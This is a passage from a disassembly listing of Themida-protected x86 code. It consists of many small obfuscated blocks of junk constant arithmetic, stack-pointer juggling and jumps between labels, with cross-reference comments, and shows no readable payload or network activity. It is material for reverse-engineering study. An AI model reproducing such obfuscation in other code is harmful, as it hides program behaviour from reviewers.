and ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_563426
; ---------------------------------------------------------------------------
loc_551AD0: ; CODE XREF: Themida_:005566FEj
pop ebx
xchg ebx, ebp
xchg ebp, [esp]
jmp loc_560B20
; ---------------------------------------------------------------------------
loc_551ADB: ; CODE XREF: Themida_:005566DFj
push eax
mov eax, 4D2250F1h
inc eax
not eax
xor eax, 0DF04F59Eh
mov ebp, eax
pop eax
mov esi, ebp
pop ebp
or esi, 426D4196h
dec esi
push ebp
push eax
jmp loc_55AD27
; ---------------------------------------------------------------------------
loc_551AFD: ; CODE XREF: Themida_:0055DAE1j
xor dx, 6F4Fh
push ecx
mov cx, 12F0h
inc cx
jmp loc_5624A2
; ---------------------------------------------------------------------------
loc_551B0E: ; CODE XREF: Themida_:00550D6Fj
and edx, 26E14B57h
or edx, 67AC36E3h
jmp loc_553D07
; ---------------------------------------------------------------------------
loc_551B1F: ; CODE XREF: Themida_:005590F5j
mov esi, 37980DB8h
jmp loc_562A53
; ---------------------------------------------------------------------------
loc_551B29: ; CODE XREF: Themida_:0056311Fj
mov edi, [esp]
jmp loc_552BDC
; ---------------------------------------------------------------------------
loc_551B31: ; CODE XREF: Themida_:0055FA17j
sub ch, 0Dh
xor ch, 88h
xor ch, 4
add al, ch
pop ecx
add al, dl
sub al, 7Fh
push edx
mov dh, 0ECh
jmp loc_55A4B5
; ---------------------------------------------------------------------------
loc_551B49: ; CODE XREF: Themida_:005573CDj
mov [esp], esi
jmp loc_55FF64
; ---------------------------------------------------------------------------
loc_551B51: ; CODE XREF: Themida_:00550949j
xchg esi, [esp]
pop esp
jmp loc_557466
; ---------------------------------------------------------------------------
loc_551B5A: ; CODE XREF: Themida_:005572FFj
mov edx, [esp]
add esp, 4
add eax, esi
jmp loc_557127
; ---------------------------------------------------------------------------
loc_551B67: ; CODE XREF: Themida_:00564776j
pop eax
xchg ebx, [esp]
jmp loc_55EE97
; ---------------------------------------------------------------------------
loc_551B70: ; CODE XREF: Themida_:0055CF9Cj
add esp, 4
jmp loc_55195A
; ---------------------------------------------------------------------------
loc_551B78: ; CODE XREF: Themida_:0055719Cj
mov edi, 5FDD2D5Dh
jmp loc_55AE0E
; ---------------------------------------------------------------------------
loc_551B82: ; CODE XREF: Themida_:00555BE6j
mov eax, esp
jmp loc_558FBC
; ---------------------------------------------------------------------------
loc_551B89: ; CODE XREF: Themida_:0055BC2Cj
xchg edx, esi
not edx
xchg edx, esi
sub esp, 4
mov [esp], eax
jmp loc_5585B6
; ---------------------------------------------------------------------------
loc_551B9D: ; CODE XREF: Themida_:00563FC7j
push edi
push esp
pop edi
add edi, 4
jmp loc_550FE7
; ---------------------------------------------------------------------------
loc_551BAB: ; CODE XREF: Themida_:0055D2C2j
neg ebp
xchg eax, ebp
xchg eax, esi
not esi
xchg eax, esi
jmp loc_559A20
; ---------------------------------------------------------------------------
loc_551BB7: ; CODE XREF: Themida_:0056191Fj
push esi
jmp loc_554921
; ---------------------------------------------------------------------------
loc_551BBD: ; CODE XREF: Themida_:0055709Cj
add ecx, 0F7E0A42Dh
and edi, ecx
pop ecx
jmp loc_5594FF
; ---------------------------------------------------------------------------
loc_551BCB: ; CODE XREF: Themida_:0055BD7Cj
pop eax
add bl, al
add bl, 0F6h
add bl, 0EAh
movzx eax, al
jmp loc_558799
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ecx
mov ecx, 183E004Ah
shr ecx, 5
jmp loc_55D90F
; ---------------------------------------------------------------------------
loc_551BED: ; CODE XREF: Themida_:00556657j
xchg ebx, ebp
push esi
push eax
push 11752EB5h
pop eax
mov esi, eax
jmp loc_5551C6
; ---------------------------------------------------------------------------
loc_551BFE: ; CODE XREF: Themida_:00559FFAj
mov [esp], eax
push esp
mov eax, [esp]
jmp loc_55831E
; ---------------------------------------------------------------------------
loc_551C0A: ; CODE XREF: Themida_:00560614j
push 6889h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_551016
; ---------------------------------------------------------------------------
loc_551C1E: ; CODE XREF: Themida_:00553AF1j
sub bl, ch
jmp loc_5553B0
; ---------------------------------------------------------------------------
loc_551C25: ; CODE XREF: Themida_:005596CBj
mov ax, [esp]
push eax
push 5AC7h
push esp
jmp loc_564A89
; ---------------------------------------------------------------------------
loc_551C35: ; CODE XREF: Themida_:0055DA82j
xchg edx, [esp]
jmp loc_55DBE0
; ---------------------------------------------------------------------------
loc_551C3D: ; CODE XREF: Themida_:0055BD09j
push esi
mov esi, 0A4C336Eh
inc esi
xor esi, 78FD233Fh
neg esi
jmp loc_55E1A6
; ---------------------------------------------------------------------------
loc_551C51: ; CODE XREF: Themida_:00561404j
pop esi
jmp loc_55C7F1
; ---------------------------------------------------------------------------
loc_551C57: ; CODE XREF: Themida_:0055FAAAj
sub edx, 1
shl edx, 6
shl edx, 8
add edx, 18263972h
xor edx, 0F5CF872h
and eax, edx
pop edx
shr eax, 8
xor eax, ecx
push ecx
push esp
pop ecx
jmp loc_553D54
; ---------------------------------------------------------------------------
loc_551C7F: ; CODE XREF: Themida_:00553B99j
push edx
push esp
pop edx
push 26F9h
mov [esp], ebx
mov ebx, 704E543Dh
sub ebx, 704E5439h
jmp loc_55EBDD
; ---------------------------------------------------------------------------
loc_551C9A: ; CODE XREF: Themida_:00554E28j
mov ebp, 4
add edi, ebp
pop ebp
jmp loc_563AAC
; ---------------------------------------------------------------------------
loc_551CA7: ; CODE XREF: Themida_:00555F6Cj
push ecx
mov ecx, 4
jmp loc_55FCCB
; ---------------------------------------------------------------------------
loc_551CB2: ; CODE XREF: Themida_:00552593j
sub esp, 4
jmp loc_559BDA
; ---------------------------------------------------------------------------
loc_551CBA: ; CODE XREF: Themida_:005546B3j
mov al, 0BAh
sub al, dh
pop edx
xor al, 0C7h
jmp loc_55C9A9
; ---------------------------------------------------------------------------
loc_551CC6: ; CODE XREF: Themida_:00552636j
xor edi, 0B4DAD817h
sub esp, 4
mov [esp], ebx
jmp loc_55FEA6
; ---------------------------------------------------------------------------
loc_551CD7: ; CODE XREF: Themida_:00551DDAj
add edi, 26E764BFh
jmp loc_558F3D
; ---------------------------------------------------------------------------
loc_551CE2: ; CODE XREF: Themida_:0055362Dj
add edi, 4701749Eh
inc edi
jmp loc_55F855
; ---------------------------------------------------------------------------
loc_551CEE: ; CODE XREF: Themida_:0055C72Ej
mov ebx, 4E690E6Eh
and ebx, 338D186Ch
shr ebx, 7
xor ebx, 75F51466h
push ebp
mov ebp, 8A0EF98Bh
add ebx, 2A1C1333h
jmp loc_558442
; ---------------------------------------------------------------------------
loc_551D13: ; CODE XREF: Themida_:00558B74j
xor eax, ebp
jmp loc_553783
; ---------------------------------------------------------------------------
loc_551D1A: ; CODE XREF: Themida_:0055E564j
shr ebx, 6
and ebx, 3487276Bh
shl ebx, 4
xor ebx, 6216B2h
sub esi, ebx
pop ebx
push esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], dx
jmp loc_559A17
; ---------------------------------------------------------------------------
loc_551D4D: ; CODE XREF: Themida_:0055A29Aj
mov [esp], edx
push 2782h
mov [esp], eax
jmp loc_551F88
; ---------------------------------------------------------------------------
loc_551D5D: ; CODE XREF: Themida_:00559510j
pop edi
push ebp
mov ebp, 499E65DAh
jmp loc_55B283
; ---------------------------------------------------------------------------
loc_551D69: ; CODE XREF: Themida_:0056535Dj
or esi, 73DE5971h
dec esi
dec esi
sub esi, 0D0E9AFB8h
sub ecx, esi
jmp loc_563DCE
; ---------------------------------------------------------------------------
loc_551D7E: ; CODE XREF: Themida_:005564C0j
push edi
push ecx
mov ecx, 7C7E310Dh
neg ecx
jmp loc_550F96
; ---------------------------------------------------------------------------
loc_551D8C: ; CODE XREF: Themida_:00561341j
pop edx
add esp, 4
jmp loc_56284D
; ---------------------------------------------------------------------------
loc_551D95: ; CODE XREF: Themida_:00557585j
pop eax
add esi, 0D29CEC93h
add eax, esi
pop esi
push 36BCh
mov [esp], edx
jmp loc_563C33
; ---------------------------------------------------------------------------
loc_551DAC: ; CODE XREF: Themida_:00563858j
push 224Bh
push esp
pop dword ptr [esp]
push eax
mov eax, 4
jmp loc_556DD8
; ---------------------------------------------------------------------------
loc_551DC0: ; CODE XREF: Themida_:0055F5FBj
mov [esp], ebx
mov ebx, 343BDD2Dh
push ebp
mov ebp, 56A732BFh
push edi
mov edi, 4792753Dh
or edi, 63D67C85h
jmp loc_551CD7
; ---------------------------------------------------------------------------
loc_551DDF: ; CODE XREF: Themida_:0055C0B3j
shr edx, 5
shl edx, 5
add edx, 1
jmp loc_55DD4A
; ---------------------------------------------------------------------------
loc_551DED: ; CODE XREF: Themida_:00555445j
pop edx
mov edx, edi
mov edi, [esp]
add esp, 4
add edx, edi
sub esp, 4
mov [esp], ecx
jmp loc_552B89
; ---------------------------------------------------------------------------
loc_551E09: ; CODE XREF: Themida_:0055C340j
sub esp, 4
jmp loc_56565A
; ---------------------------------------------------------------------------
loc_551E11: ; CODE XREF: Themida_:00561B51j
push edi
mov edi, 29E84E7Dh
sub edi, 6F6027F8h
neg edi
add edi, 0EAE357E6h
mov eax, edi
pop edi
sub esp, 4
jmp loc_550C8D
; ---------------------------------------------------------------------------
loc_551E33: ; CODE XREF: Themida_:0056222Fj
rol dword ptr [esp], cl
pushf
jmp loc_565217
; ---------------------------------------------------------------------------
loc_551E3C: ; CODE XREF: Themida_:00562244j
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
jmp loc_560665
; ---------------------------------------------------------------------------
loc_551E52: ; CODE XREF: Themida_:005598CBj
add eax, 4
xchg eax, [esp]
jmp loc_55869C
; ---------------------------------------------------------------------------
loc_551E5D: ; CODE XREF: Themida_:0055DFCAj
pop esi
jmp loc_5561D0
; ---------------------------------------------------------------------------
loc_551E63: ; CODE XREF: Themida_:005566D9j
add esi, edx
jmp loc_556202
; ---------------------------------------------------------------------------
loc_551E6A: ; CODE XREF: Themida_:005658D1j
push edx
push small 2C5Bh
jmp loc_55DADF
; ---------------------------------------------------------------------------
loc_551E74: ; CODE XREF: Themida_:0055B954j
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_55F74E
; ---------------------------------------------------------------------------
loc_551E85: ; CODE XREF: Themida_:00555D76j
push ebx
jmp loc_55A411
; ---------------------------------------------------------------------------
loc_551E8B: ; CODE XREF: Themida_:00562649j
add edx, 10E43F91h
jmp loc_55B3CF
; ---------------------------------------------------------------------------
loc_551E96: ; CODE XREF: Themida_:0055A7EAj
sub ebp, 8BF3020h
add ebp, edi
jmp loc_56229A
; ---------------------------------------------------------------------------
loc_551EA3: ; CODE XREF: Themida_:00558332j
push 0E4FC6C1Eh
pop edx
jmp loc_5570CA
; ---------------------------------------------------------------------------
loc_551EAE: ; CODE XREF: Themida_:0055EE16j
add ebx, 2F4C11E4h
shl ebx, 2
or ebx, 72177CF1h
shl ebx, 8
jmp loc_5566E4
; ---------------------------------------------------------------------------
loc_551EC5: ; CODE XREF: Themida_:0055D025j
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_552503
; ---------------------------------------------------------------------------
loc_551ED9: ; CODE XREF: Themida_:0055281Ej
push 52E8h
mov [esp], ebx
push eax
push ecx
mov ch, dl
push edx
mov dh, ch
mov al, dh
jmp loc_55A7C2
; ---------------------------------------------------------------------------
loc_551EEF: ; CODE XREF: Themida_:00561A7Ej
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_557187
; ---------------------------------------------------------------------------
loc_551F02: ; CODE XREF: Themida_:0055A3A7j
pop ebx
add edx, ebp
pop ebp
jmp loc_55E34D
; ---------------------------------------------------------------------------
loc_551F0B: ; CODE XREF: Themida_:00558697j
pop bx
push small 0D69h
jmp loc_563697
; ---------------------------------------------------------------------------
loc_551F16: ; CODE XREF: Themida_:0055CDFBj
xor bl, 2Eh
sub bl, 0Ah
add al, 0C8h
add al, bl
sub al, 0C8h
pop ebx
sub al, bl
sub al, 0C7h
push ecx
jmp loc_557190
; ---------------------------------------------------------------------------
loc_551F2D: ; CODE XREF: Themida_:0055B1B0j
add esi, 4
push ecx
mov ecx, 44417038h
shr ecx, 5
dec ecx
inc ecx
xor ecx, 2220B85h
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
shr edi, 3
neg edi
add edi, 611EB5Fh
mov ecx, edi
jmp loc_55E0F6
; ---------------------------------------------------------------------------
loc_551F5D: ; CODE XREF: Themida_:0055DA9Ej
sub ebp, 0F9235C2h
jmp loc_55E274
; ---------------------------------------------------------------------------
loc_551F68: ; CODE XREF: Themida_:0055060Dj
inc ebp
jmp loc_555904
; ---------------------------------------------------------------------------
loc_551F6E: ; CODE XREF: Themida_:005626C5j
pop ebx
sub ebx, 4FE760D0h
sub ebx, edi
add ebx, 4FE760D0h
mov edi, [esp]
add esp, 4
jmp loc_553F9F
; ---------------------------------------------------------------------------
loc_551F88: ; CODE XREF: Themida_:00551D58j
push dword ptr [esp]
mov edx, [esp]
jmp loc_5517C3
; ---------------------------------------------------------------------------
loc_551F93: ; CODE XREF: Themida_:00557B5Bj
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
xchg eax, [esp]
jmp loc_559228
; ---------------------------------------------------------------------------
loc_551FAC: ; CODE XREF: Themida_:005533CAj
push edx
jmp loc_555F07
; ---------------------------------------------------------------------------
loc_551FB2: ; CODE XREF: Themida_:00556CDCj
add ebx, 722EE0A8h
add ebp, 1EB25EA9h
add ebp, 5E97563Dh
add ebp, ebx
jmp loc_565A3C
; ---------------------------------------------------------------------------
loc_551FCB: ; CODE XREF: Themida_:0055895Bj
xor ebp, 66D13196h
mov ecx, ebp
pop ebp
xor ecx, 278345CEh
push esi
mov esi, 77ED25C1h
shl esi, 7
add esi, 5D8573B8h
shl esi, 2
sub esi, 4040047Ch
jmp loc_55DE2C
; ---------------------------------------------------------------------------
loc_551FF7: ; CODE XREF: Themida_:005561F1j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ecx
jmp loc_55500C
; ---------------------------------------------------------------------------
loc_55200C: ; CODE XREF: Themida_:005620B2j
mov ebp, [esp]
jmp loc_55E3EE
; ---------------------------------------------------------------------------
loc_552014: ; CODE XREF: Themida_:0055B560j
pop esp
push ebp
push esi
jmp loc_555D9B
; ---------------------------------------------------------------------------
loc_55201C: ; CODE XREF: Themida_:00553BF5j
mov ebx, 28h
sub ebx, 136F4FE2h
add ebx, edi
jmp loc_558288
; ---------------------------------------------------------------------------
loc_55202E: ; CODE XREF: Themida_:0055BAABj
pop dword ptr [esp]
sub esp, 4
mov [esp], ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov esi, [esp]
jmp loc_5621DA
; ---------------------------------------------------------------------------
loc_552049: ; CODE XREF: Themida_:005637E5j
mov eax, 363C04CEh
sub ebp, eax
pop eax
add eax, ebp
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 562B2A64h
sub eax, ebx
pop ebx
push dword ptr [esp]
mov edx, [esp]
jmp loc_553ABE
; ---------------------------------------------------------------------------
loc_55206D: ; CODE XREF: Themida_:005599FFj
sub ebx, 452848A4h
jmp loc_551766
; ---------------------------------------------------------------------------
loc_552078: ; CODE XREF: Themida_:00564C04j
mov [esp], ebp
xchg edx, [esp]
jmp loc_559B66
; ---------------------------------------------------------------------------
loc_552083: ; CODE XREF: Themida_:0055FDDAj
sub ebp, edx
pop edx
sub eax, 6A123BABh
sub eax, 66624898h
add eax, ebp
add eax, 66624898h
jmp loc_55DA6B
; ---------------------------------------------------------------------------
loc_55209C: ; CODE XREF: Themida_:00561DDCj
mov ebx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
mov cx, [esp]
add esp, 2
jmp loc_553B43
; ---------------------------------------------------------------------------
loc_5520B2: ; CODE XREF: Themida_:00557AA6j
add esp, 4
xor esi, 364A4E30h
mov edx, esi
jmp loc_5512C1
; ---------------------------------------------------------------------------
loc_5520C5: ; CODE XREF: Themida_:00559462j
or edi, 2F305416h
shr edi, 4
shr edi, 4
add edi, 4F030913h
add ebx, edi
pop edi
jmp loc_55BBA5
; ---------------------------------------------------------------------------
loc_5520DF: ; CODE XREF: Themida_:005537C4j
not ecx
jmp loc_554160
; ---------------------------------------------------------------------------
loc_5520E6: ; CODE XREF: Themida_:005601F5j
sub [edi+20h], ebp
jmp loc_556907
; ---------------------------------------------------------------------------
loc_5520EE: ; CODE XREF: Themida_:00556B9Dj
pop edi
jmp loc_560309
; ---------------------------------------------------------------------------
loc_5520F4: ; CODE XREF: Themida_:005654CFj
xor ebx, edi
pop edi
or edi, ebx
pop ebx
not edi
xor edi, 80E049h
and eax, edi
push dword ptr [esp]
jmp loc_55B656
; ---------------------------------------------------------------------------
loc_55210C: ; CODE XREF: Themida_:00558837j
sub edx, 0FFFFFFFFh
push eax
mov eax, 194D016Dh
xor edx, eax
pop eax
jmp loc_561168
; ---------------------------------------------------------------------------
loc_552120: ; CODE XREF: Themida_:0055B892j
mov cx, ax
jmp loc_557DFA
; ---------------------------------------------------------------------------
loc_552128: ; CODE XREF: Themida_:0055922Cj
mov ebx, 1E1144BFh
neg ebx
jmp loc_55D4DA
; ---------------------------------------------------------------------------
loc_552134: ; CODE XREF: Themida_:005512F9j
xor eax, 7E327D54h
xor eax, 5A484D25h
jmp loc_55F525
; ---------------------------------------------------------------------------
loc_552143: ; CODE XREF: Themida_:0055F717j
push ebp
jmp loc_55EE0E
; ---------------------------------------------------------------------------
loc_552149: ; CODE XREF: Themida_:0055DBE9j
pop ecx
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ecx
jmp loc_552EF4
; ---------------------------------------------------------------------------
loc_552159: ; CODE XREF: Themida_:00553FBFj
xor ebp, 1C98C7h
jmp loc_5541CC
; ---------------------------------------------------------------------------
loc_552164: ; CODE XREF: Themida_:0055C5F5j
add eax, 7BC02B91h
sub eax, 8880DDCh
add eax, 62A2103Eh
pop edx
add eax, 4
xchg eax, [esp]
mov esp, [esp]
movsx ecx, al
push 39AAh
mov [esp], ecx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55218D: ; CODE XREF: Themida_:005614C0j
add ebx, 9DADE330h
sub ebp, ebx
jmp loc_55E71F
; ---------------------------------------------------------------------------
loc_55219A: ; CODE XREF: Themida_:00562384j
push ecx
mov ecx, 308A34B9h
sub [esp+8], ecx
pop ecx
mov ebp, [esp]
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5521B0: ; CODE XREF: Themida_:005584E9j
not dword ptr [esp]
pop eax
xor eax, 0A47D573Ah
sub edx, eax
pop eax
jmp loc_55947A
; ---------------------------------------------------------------------------
loc_5521C1: ; CODE XREF: Themida_:00556610j
push 582Ah
mov [esp], ebp
push 913h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
jmp loc_553D8B
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_556BB6
; ---------------------------------------------------------------------------
loc_5521E4: ; CODE XREF: Themida_:0055777Aj
push edi
mov edi, 57212BEEh
or edi, 18263805h
shr edi, 1
jmp loc_564F03
; ---------------------------------------------------------------------------
loc_5521F7: ; CODE XREF: Themida_:00556BC9j
mov [esp], edi
push esp
jmp loc_55230B
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7EA6h
mov [esp], ecx
sub esp, 4
jmp loc_551483
; ---------------------------------------------------------------------------
loc_552214: ; CODE XREF: Themida_:005523EFj
mov ebp, esi
jmp loc_55C350
; ---------------------------------------------------------------------------
loc_55221B: ; CODE XREF: Themida_:005634BCj
xor eax, 0ABAFF43Fh
add ebx, eax
pop eax
jmp loc_55C4DA
; ---------------------------------------------------------------------------
loc_552228: ; CODE XREF: Themida_:00556B22j
pop edx
neg eax
xor eax, 0F4D3DBAAh
xor ecx, eax
jmp loc_565920
; ---------------------------------------------------------------------------
loc_552237: ; CODE XREF: Themida_:00564FB0j
xor edx, [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_55D331
; ---------------------------------------------------------------------------
loc_552246: ; CODE XREF: Themida_:00560251j
mov [esp], ebp
push ebx
mov ebx, esp
jmp loc_5620C2
; ---------------------------------------------------------------------------
loc_552251: ; CODE XREF: Themida_:00560A28j
xor esi, 652F0A87h
neg esi
push edx
mov edx, 3AD3A76h
jmp loc_55BC87
; ---------------------------------------------------------------------------
loc_552264: ; CODE XREF: Themida_:00561F1Bj
xor ecx, eax
push 786Dh
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 6342h
mov [esp], ecx
jmp loc_5531A8
; ---------------------------------------------------------------------------
loc_552291: ; CODE XREF: Themida_:00551438j
sub esi, ecx
pop ecx
add esi, eax
push ebx
mov ebx, 711F42B8h
dec ebx
jmp loc_5507B8
; ---------------------------------------------------------------------------
loc_5522A2: ; CODE XREF: Themida_:00561430j
push ebp
mov ebp, 77D23EE0h
push edx
jmp loc_55354A
; ---------------------------------------------------------------------------
loc_5522AE: ; CODE XREF: Themida_:0055AA80j
add esp, 4
add edi, edx
pop edx
push 7E61h
jmp loc_55EFD1
; ---------------------------------------------------------------------------
loc_5522C1: ; CODE XREF: Themida_:00554A2Ej
push eax
jmp loc_55322C
; ---------------------------------------------------------------------------
loc_5522C7: ; CODE XREF: Themida_:0055CDD5j
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 2
push edi
mov edi, 373B10DEh
add eax, edi
pop edi
add eax, ebx
sub eax, 373B10DEh
pop ebx
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_550EAF
; ---------------------------------------------------------------------------
loc_5522F7: ; CODE XREF: Themida_:005639E1j
mov [esp], esp
jmp loc_55B08C
; ---------------------------------------------------------------------------
loc_5522FF: ; CODE XREF: Themida_:00561C62j
sub ax, dx
pop edx
add ax, bx
jmp loc_557DDD
; ---------------------------------------------------------------------------
loc_55230B: ; CODE XREF: Themida_:005521FBj
pop edi
add edi, 4
push ecx
mov ecx, 2B7601E9h
shr ecx, 7
and ecx, 0CC3560Eh
and ecx, 527D3517h
sub esp, 4
mov [esp], esi
jmp loc_55911F
; ---------------------------------------------------------------------------
loc_552335: ; CODE XREF: Themida_:00556284j
add esp, 4
push ecx
mov cl, 59h
xor cl, 0E5h
push eax
jmp loc_558129
; ---------------------------------------------------------------------------
loc_552347: ; CODE XREF: Themida_:0056017Cj
xor edx, [esp]
jmp loc_5650AF
; ---------------------------------------------------------------------------
loc_55234F: ; CODE XREF: Themida_:005594FAj
pop edx
jmp loc_56478E
; ---------------------------------------------------------------------------
loc_552355: ; CODE XREF: Themida_:005627FEj
add edi, 0CCDAE9B3h
mov edx, edi
pop edi
jmp loc_55C56A
; ---------------------------------------------------------------------------
loc_552363: ; CODE XREF: Themida_:00562DF0j
sub [edi+24h], ebx
push dword ptr [esp]
pop ebx
add esp, 4
loc_552370: ; CODE XREF: Themida_:0055F8CCj
sub esp, 4
mov [esp], ebx
push esp
pop ebx
jmp loc_55DE16
; ---------------------------------------------------------------------------
loc_552380: ; CODE XREF: Themida_:00559F0Aj
push esp
jmp loc_5557DC
; ---------------------------------------------------------------------------
loc_552386: ; CODE XREF: Themida_:005533D8j
sub ebx, ebp
pop ebp
jmp loc_5610ED
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_552398: ; CODE XREF: Themida_:00553E7Cj
pop ebx
jmp loc_55C66A
; ---------------------------------------------------------------------------
loc_55239E: ; CODE XREF: Themida_:0055807Ej
add ebx, eax
push esi
jmp loc_560DA5
; ---------------------------------------------------------------------------
loc_5523A6: ; CODE XREF: Themida_:00556041j
pop esp
pop dword ptr [esp]
pop esp
jmp loc_556EBB
; ---------------------------------------------------------------------------
loc_5523B0: ; CODE XREF: Themida_:00553F9Aj
not edx
push ebx
jmp loc_55E196
; ---------------------------------------------------------------------------
loc_5523B8: ; CODE XREF: Themida_:0055F7C4j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_563284
; ---------------------------------------------------------------------------
loc_5523C6: ; CODE XREF: Themida_:0055FC47j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], esi
mov esi, 80h
jmp loc_552214
; ---------------------------------------------------------------------------
loc_5523F4: ; CODE XREF: Themida_:0055428Ej
dec edi
jmp loc_5508BA
; ---------------------------------------------------------------------------
loc_5523FA: ; CODE XREF: Themida_:00552415j
mov eax, 73E01CCAh
inc eax
sub eax, 73E01CC7h
sub edi, 22DE353Ch
add edi, eax
jmp loc_554B3E
; ---------------------------------------------------------------------------
loc_552412: ; CODE XREF: Themida_:005608A2j
mov [esp], eax
jmp loc_5523FA
; ---------------------------------------------------------------------------
loc_55241A: ; CODE XREF: Themida_:005509CAj
mov edx, [esp]
jmp loc_557325
; ---------------------------------------------------------------------------
loc_552422: ; CODE XREF: Themida_:005594E2j
or edx, 2602573Ah
inc edx
add edx, 589C2885h
add ebx, edx
pop edx
add ebx, 4
xchg ebx, [esp]
jmp loc_55AD9E
; ---------------------------------------------------------------------------
loc_55243D: ; CODE XREF: Themida_:00551350j
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push edx
jmp loc_55862A
; ---------------------------------------------------------------------------
mov cx, [esp]
push 30F2h
mov [esp], ebx
push esp
pop ebx
push eax
mov eax, 4
add ebx, eax
pop eax
push ebp
jmp loc_561498
; ---------------------------------------------------------------------------
loc_552472: ; CODE XREF: Themida_:0055534Bj
xchg edi, [esp]
pop esp
jmp loc_565124
; ---------------------------------------------------------------------------
loc_55247B: ; CODE XREF: Themida_:00562CF8j
mov edi, edx
push dword ptr [esp]
pop edx
add esp, 4
push ecx
push esi
jmp loc_564AC5
; ---------------------------------------------------------------------------
loc_55248E: ; CODE XREF: Themida_:0055D049j
push ebp
jmp loc_55BF25
; ---------------------------------------------------------------------------
loc_552494: ; CODE XREF: Themida_:0055911Aj
xor dl, 6Ch
jmp loc_55D5C5
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push eax
push esi
mov esi, 501542D9h
jmp loc_55B72F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 1FCBh
mov [esp], eax
mov eax, esp
push ecx
mov ecx, 6BDE637Dh
sub ecx, 2460380h
inc ecx
jmp loc_5543D6
; ---------------------------------------------------------------------------
loc_5524D0: ; CODE XREF: Themida_:00552BEFj
push 164Fh
mov [esp], ebx
push edi
mov edi, 4050B2Fh
mov ebx, 40E007A2h
xor ebx, edi
jmp loc_55CC1F
; ---------------------------------------------------------------------------
loc_5524EA: ; CODE XREF: Themida_:00555DBDj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_55D97F
; ---------------------------------------------------------------------------
loc_552503: ; CODE XREF: Themida_:00551ED4j
pop esp
jmp loc_553398
; ---------------------------------------------------------------------------
loc_552509: ; CODE XREF: Themida_:005643B2j
push eax
mov eax, esp
add eax, 4
jmp loc_558603
; ---------------------------------------------------------------------------
loc_552516: ; CODE XREF: Themida_:00556269j
pop esp
shr edi, 1
jmp loc_552659
; ---------------------------------------------------------------------------
loc_55251E: ; CODE XREF: Themida_:00552F99j
add edx, 10852FADh
push 2C5Ch
mov [esp], esi
mov esi, 773230E3h
sub edx, esi
pop esi
add edx, ecx
add edx, 773230E3h
jmp loc_558CFE
; ---------------------------------------------------------------------------
loc_552541: ; CODE XREF: Themida_:00556B46j
mov [esp], ecx
jmp loc_55CD60
; ---------------------------------------------------------------------------
loc_552549: ; CODE XREF: Themida_:00553E83j
mov edx, [esp]
add esp, 4
push edi
xchg ebp, [esp]
neg ebp
xchg ebp, [esp]
jmp loc_55D454
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_552570: ; CODE XREF: Themida_:0055B79Bj
mov [esp], ecx
push 344h
jmp loc_5540BE
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push small 4C88h
mov [esp], ax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55258E: ; CODE XREF: Themida_:0055CEC8j
sub bl, al
sub bl, 0Fh
jmp loc_551CB2
; ---------------------------------------------------------------------------
loc_552598: ; CODE XREF: Themida_:005620DFj
add esp, 4
add esi, 4
jmp loc_553CE1
; ---------------------------------------------------------------------------
loc_5525A9: ; CODE XREF: Themida_:0055B13Dj
pop edi
pop dword ptr [esp]
jmp loc_559274
; ---------------------------------------------------------------------------
loc_5525B2: ; CODE XREF: Themida_:0055334Aj
and bl, 1Bh
jmp loc_550488
; ---------------------------------------------------------------------------
loc_5525BA: ; CODE XREF: Themida_:0055413Cj
mov edx, 57E73E10h
add edx, 690664B7h
or edx, 539D7737h
neg edx
xor edx, 2C02080Dh
add ebp, edx
pop edx
jmp loc_55609F
; ---------------------------------------------------------------------------
loc_5525DB: ; CODE XREF: Themida_:0056599Bj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_551544
; ---------------------------------------------------------------------------
loc_552606: ; CODE XREF: Themida_:0055C868j
pop ecx
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_565901
; ---------------------------------------------------------------------------
